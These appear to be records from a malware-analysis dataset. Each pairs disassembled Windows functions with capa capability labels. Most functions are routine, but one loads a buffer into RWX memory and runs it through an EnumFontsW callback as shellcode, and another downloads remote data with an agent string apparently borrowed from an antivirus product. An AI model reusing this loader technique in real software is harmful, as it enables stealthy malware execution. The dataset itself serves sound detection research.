joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003a954
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14003a984
xor eax, eax
jmp 0x14003aa47
mov rbp, rbx
cmp word [rax], si
je 0x14003a9a9
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14003a990
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14003a98c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140039064
movsxd r14, eax
test eax, eax
jne 0x14003a9e7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14003a97d
mov rcx, r14
call fcn.140036018
mov rdi, rax
test rax, rax
jne 0x14003aa00
xor ecx, ecx
call fcn.140034b4c
jmp 0x14003a9dc
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140039064
test eax, eax
jne 0x14003aa31
mov rcx, rdi
call fcn.140034b4c
jmp 0x14003aa3b
xor ecx, ecx
call fcn.140034b4c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x14003d9bc
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.140034774
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x14003da5d
cmp ebx, dword [rsp + 0x30]
je 0x14003da56
test esi, esi
je 0x14003da56
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x14003da31
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14003da3e
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x14003da1b
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x14003da42
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14003da5f
mov eax, 1
jmp 0x14003da5f
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14003ef00
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14003ef16
mov al, 1
jmp 0x14003ef76
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14003ef27
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14003ef74
mov ecx, dword [rcx + 0x18]
nop
call fcn.14003b468
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14003ef74
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14003ef74
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14003ef74
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14003ef76
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x1400418f4
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14002bb40
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14004197e
cmp byte [rbp - 0x21], r15b
je 0x140041979
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400419b4
call fcn.140034e50
test eax, eax
jne 0x1400419a0
cmp byte [rbp - 0x21], r15b
je 0x140041998
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400419b4
cmp byte [rbp - 0x21], r15b
je 0x1400419b1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1400304f8
test eax, eax
jne 0x140041a54
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14002bb40
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400419f3
cmp byte [rbp - 0x21], r15b
je 0x140041a28
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140041a28
call fcn.140034e50
test eax, eax
jne 0x140041a14
cmp byte [rbp - 0x21], r15b
je 0x140041a0d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140041a28
cmp byte [rbp - 0x21], r15b
je 0x140041a25
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1400304f8
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140041a54
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140041a57
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140041a65
mov rcx, rdi
call fcn.140034b4c
cmp byte [rbp + 0x3f], r15b
je 0x140041a74
mov rcx, qword [rbp + 0x27]
call fcn.140034b4c
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x140043be0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140043c08
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140043c08
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140002bf0
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x38
mov rcx, qword [rsp + 0x50]
call fcn.140003280
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x50]
call fcn.140003280
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x50]
call fcn.140003300
mov rdi, qword [rsp + 0x20]
mov rsi, rax
mov rax, qword [rsp + 0x28]
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
xor r9d, r9d
mov r8, qword [rsp + 0x20]
xor edx, edx
mov rcx, rax
call qword [sym.imp.GDI32.dll_EnumFontsW]
add rsp, 0x38
pop rdi
pop rsi
ret
Function at 0x140002c70
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x118
mov qword [rsp + 0xf0], 0xfffffffffffffffe
mov dword [rsp + 0xe8], 0
lea rcx, [rsp + 0x68]
call fcn.1400030e0
nop
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.huorong
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x140002cf8
lea rdx, str.Failed_to_open_internet_connection.
lea rcx, [rsp + 0x90]
call fcn.140002a70
lea rdx, [0x140027040]
lea rcx, [rsp + 0x90]
call fcn.140006d68
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x128]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x30], 0x64000
mov edx, 0x64000
lea rcx, [rsp + 0x38]
call fcn.140003120
nop
mov dword [rsp + 0x88], 0
lea rcx, [rsp + 0x38]
call fcn.140003280
mov qword [rsp + 0xf8], rax
lea rcx, [rsp + 0x38]
call fcn.140003300
lea r9, [rsp + 0x88]
mov rcx, qword [rsp + 0xf8]
mov r8d, ecx
mov rdx, rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140002e41
cmp dword [rsp + 0x88], 0
jbe 0x140002e41
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x68]
call fcn.140003250
mov rax, qword [rax]
mov qword [rsp + 0xc0], rax
mov eax, dword [rsp + 0x88]
mov qword [rsp + 0x100], rax
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x38]
call fcn.140003220
mov rcx, qword [rsp + 0x100]
mov r8, rcx
lea rdx, [rsp + 0xb0]
mov rcx, rax
call fcn.140003310
mov qword [rsp + 0x108], rax
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x38]
call fcn.140003220
mov rcx, qword [rsp + 0x108]
mov r9, qword [rcx]
mov r8, qword [rax]
mov rdx, qword [rsp + 0xc0]
lea rcx, [rsp + 0x68]
call fcn.140003f20
jmp 0x140002d56
cmp dword [rsp + 0x88], 0
jne 0x140002eaa
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x8c], eax
cmp dword [rsp + 0x8c], 0
je 0x140002eaa
cmp dword [rsp + 0x8c], 0x12
je 0x140002eaa
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, str.Failed_to_read_file_content.
lea rcx, [rsp + 0xd0]
call fcn.140002a70
lea rdx, [0x140027040]
lea rcx, [rsp + 0xd0]
call fcn.140006d68
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [rsp + 0x68]
mov rcx, qword [rsp + 0x120]
call fcn.140003180
mov eax, dword [rsp + 0xe8]
or eax, 1
mov dword [rsp + 0xe8], eax
lea rcx, [rsp + 0x38]
call fcn.1400031f0
nop
lea rcx, [rsp + 0x68]
call fcn.1400031f0
mov rax, qword [rsp + 0x120]
add rsp, 0x118
ret

Function at 0x140009930
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.1400097a0
Function at 0x140019ffc
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140029060]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140007cb0
xor ebx, ebx
cmp qword [0x14002a168], rbx
mov rdi, rax
jne 0x14001a10f
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14001a1e6
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14001a1e6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14002a168], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14002a170], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x14002a178], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x14002a188], rax
test rax, rax
je 0x14001a106
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x14002a180], rax
jmp 0x14001a116
mov rax, qword [0x14002a180]
jmp 0x14001a11d
mov rax, qword [0x14002a180]
mov r11, qword [0x14002a188]
cmp rax, rdi
je 0x14001a184
cmp r11, rdi
je 0x14001a184
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x14002a188]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x14001a184
test rax, rax
je 0x14001a184
call rsi
test rax, rax
je 0x14001a17e
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14001a17e
test byte [rsp + 0x40], 1
jne 0x14001a184
bts ebp, 0x15
jmp 0x14001a1c4
mov rcx, qword [0x14002a170]
cmp rcx, rdi
je 0x14001a1c4
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14001a1c4
call rax
mov rbx, rax
test rax, rax
je 0x14001a1c4
mov rcx, qword [0x14002a178]
cmp rcx, rdi
je 0x14001a1c4
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14001a1c4
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14002a168]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14001a1e6
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x14001a1e8
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14000cb80
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14001a537
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140029060]
jne 0x14000cb9a
rol rcx, 0x10
test cx, 0xffff
jne 0x14000cb96
repz ret
ror rcx, 0x10
jmp 0x14001a490
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14002a230]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14002a328]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14001a515
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14002a230]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14001a537
mov rax, qword [rsp + 0x88]
mov qword [0x14002a328], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14002a2c8], rax
mov rax, qword [0x14002a328]
mov qword [0x14002a1a0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14002a2b0], rax
mov dword [0x14002a190], 0xc0000409
mov dword [0x14002a194], 1
mov rax, qword [0x140029060]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140029068]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14002a228], eax
mov ecx, 1
call fcn.140018040
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400238a8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14002a228], 0
jne 0x14001a5be
mov ecx, 1
call fcn.140018040
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x1400012dc
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r15
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor esi, esi
xor eax, eax
lock cmpxchg qword [0x140003638], rbx
je 0x140001328
cmp rax, rbx
jne 0x14000131b
mov ebx, 1
mov esi, ebx
jmp 0x14000132d
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x140001300
mov ebx, 1
mov eax, dword [0x140003640]
cmp eax, ebx
jne 0x140001343
mov ecx, 0x1f
call sub.msvcrt.dll__amsg_exit
jmp 0x1400013a8
mov eax, dword [0x140003640]
test eax, eax
jne 0x1400013a2
mov dword [0x140003640], ebx
lea r15, [0x1400022c0]
lea rdi, [0x1400022a8]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
cmp rdi, r15
jae 0x140001394
test eax, eax
jne 0x140001398
cmp qword [rdi], 0
je 0x140001389
mov rax, qword [rdi]
mov rcx, qword [0x140002288]
call rcx
mov dword [rsp + 0x20], eax
add rdi, 8
mov qword [rsp + 0x28], rdi
jmp 0x14000136a
test eax, eax
je 0x1400013a8
mov eax, 0xff
jmp 0x140001484
mov dword [0x140003044], ebx
mov eax, dword [0x140003640]
cmp eax, ebx
jne 0x1400013cf
lea rdx, [0x1400022a0]
lea rcx, [0x140002290]
call sub.msvcrt.dll__initterm
mov dword [0x140003640], 2
test esi, esi
jne 0x1400013dc
xor eax, eax
xchg qword [0x140003638], rax
cmp qword [0x140003648], 0
je 0x140001410
lea rcx, [0x140003648]
call fcn.140001650
test eax, eax
je 0x140001410
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140003648]
mov r9, qword [0x140002288]
call r9
mov r8, qword [0x140003058]
mov rdx, qword [0x140003050]
mov ecx, dword [0x140003048]
call fcn.14000119c
mov dword [0x140003040], eax
cmp dword [0x140003060], 0
jne 0x140001440
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x140003044], 0
jne 0x140001455
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x140003040]
jmp 0x140001484
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r15
ret
sub rsp, 0x28
call fcn.14013d000
add rsp, 0x28
jmp 0x1400012dc

Function at 0x140001550
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14000159c
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140001594
cmp dword [rcx + 0x3c], edx
jl 0x140001594
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140001594
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x14000159c
mov rax, rdx
add rsp, 0x18
ret
Function at 0x180062bc0
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
mov qword [0x1801b6020], rcx
mov rbx, rcx
test edx, edx
je 0x180062c15
cmp edx, 1
jne 0x180062c20
call fcn.1800626c0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov r9, qword [0x1801b6020]
lea r8, [0x1800624e0]
xor eax, eax
xor edx, edx
mov qword [rsp + 0x28], rax
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x30
pop rbx
ret
mov eax, 1
xchg byte [0x1801b6018], al
mov eax, 1
add rsp, 0x30
pop rbx
ret

Function at 0x1800630f0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x18018f040]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rcx
mov ecx, 8
call fcn.18012530c
lea rcx, [0x1800623e0]
mov qword [rax], rcx
mov qword [rsp + 0x30], rax
lea rdi, [rbx + 8]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x1800631a0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbx], rax
test rax, rax
je 0x18006316d
mov rax, rbx
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1801252b0
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov dword [rdi], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3

Function at 0x180069cf0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x180069d4d
lea rbx, [0x18015f5f0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x180069d34
cmp r10, 2
jb 0x180069d34
cmp byte [r9], r8b
jne 0x180069d34
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x180069d10
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x180069d8f
lea rbx, [0x18015f5f0]
cmp r8b, 0x23
jne 0x180069d73
cmp byte [r9], r8b
jne 0x180069d73
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x180069d60
mov rbx, qword [rsp + 8]
not eax
ret
Function at 0x180069e90
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
xor r14d, r14d
mov rsi, r8
test r8, r8
je 0x180069eae
mov qword [r8], r14
lea rdx, [0x18015cb28]
call fcn.180069da0
mov rbx, rax
test rax, rax
jne 0x180069ed3
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rbp
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov ebp, eax
cmp eax, 0xffffffff
je 0x180069ffd
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x180069ffd
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x180069ffd
xor r8d, r8d
mov edx, ebp
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x180069ffd
cmp rdi, 0xffffffffffffffff
je 0x180069ffd
mov rcx, rdi
call fcn.18006f530
mov rbp, rax
test rax, rax
je 0x180069ffd
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x180069fea
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov r8, qword [0x1801960a8]
test r8, r8
je 0x180069fdf
movsx rdx, word [r8 + 0x60a8]
lea rcx, [r8 + 0x60ac]
mov r9d, dword [r8 + 0x3f60]
lea rcx, [rcx + rdx*8]
cmp dword [rcx], r9d
je 0x180069fd4
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x60a8], cx
movsx rax, cx
lea rcx, [r8 + 0x60ac]
lea rcx, [rcx + rax*8]
mov dword [rcx], r9d
mov dword [rcx + 4], r14d
inc word [rcx + 6]
inc dword [r8 + 0x60a4]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x18006a006
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rsi, rsi
je 0x180069ff8
mov qword [rsi], rdi
mov rax, rbp
jmp 0x18006a008
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbp, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x18006ebf0
Capabilities:
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx + 0x108]
lea r10, [0x18015f5f0]
mov r8, rdx
mov r9, rcx
movsxd rdx, dword [rcx + 0x100]
mov ebx, dword [rax + rdx*4 - 4]
not ebx
movzx eax, r8b
movzx edx, bl
xor rdx, rax
shr ebx, 8
mov rax, r8
shr rax, 8
xor ebx, dword [r10 + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
mov rax, r8
xor rdx, rcx
shr rax, 0x10
xor ebx, dword [r10 + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
mov rax, r8
xor rdx, rcx
shr rax, 0x18
xor ebx, dword [r10 + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
mov rax, r8
xor rdx, rcx
shr rax, 0x20
xor ebx, dword [r10 + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
mov rax, r8
xor rdx, rcx
shr rax, 0x28
xor ebx, dword [r10 + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
mov rax, r8
xor rdx, rcx
shr rax, 0x30
xor ebx, dword [r10 + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
mov rax, r8
xor rdx, rcx
shr rax, 0x38
xor ebx, dword [r10 + rdx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
xor ebx, dword [r10 + rcx*4]
mov rcx, qword [r9]
not ebx
cmp dword [rcx + 0x4054], ebx
jne 0x18006ecdf
mov edx, 0xc
mov ecx, ebx
call fcn.18008df80
mov eax, ebx
add rsp, 0x20
pop rbx
ret

Function at 0x18006ecf0
Capabilities:
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x20
movsxd r8, dword [rcx + 0x100]
lea r11, [0x18015f5f0]
mov rax, qword [rcx + 0x108]
mov r9, rcx
movsxd r10, edx
mov ebx, dword [rax + r8*4 - 4]
not ebx
movzx eax, r10b
movzx r8d, bl
shr ebx, 8
xor r8, rax
mov eax, r10d
shr eax, 8
movzx edx, al
mov eax, r10d
xor ebx, dword [r11 + r8*4]
movzx ecx, bl
xor rdx, rcx
shr ebx, 8
shr eax, 0x10
xor ebx, dword [r11 + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
xor rdx, rcx
xor ebx, dword [r11 + rdx*4]
movzx ecx, bl
shr ebx, 8
mov edx, r10d
shr rdx, 0x18
xor rdx, rcx
mov rcx, qword [r9]
xor ebx, dword [r11 + rdx*4]
not ebx
cmp dword [rcx + 0x4054], ebx
jne 0x18006ed86
mov r8, r10
mov edx, 4
mov ecx, ebx
call fcn.18008df80
mov eax, ebx
add rsp, 0x20
pop rbx
ret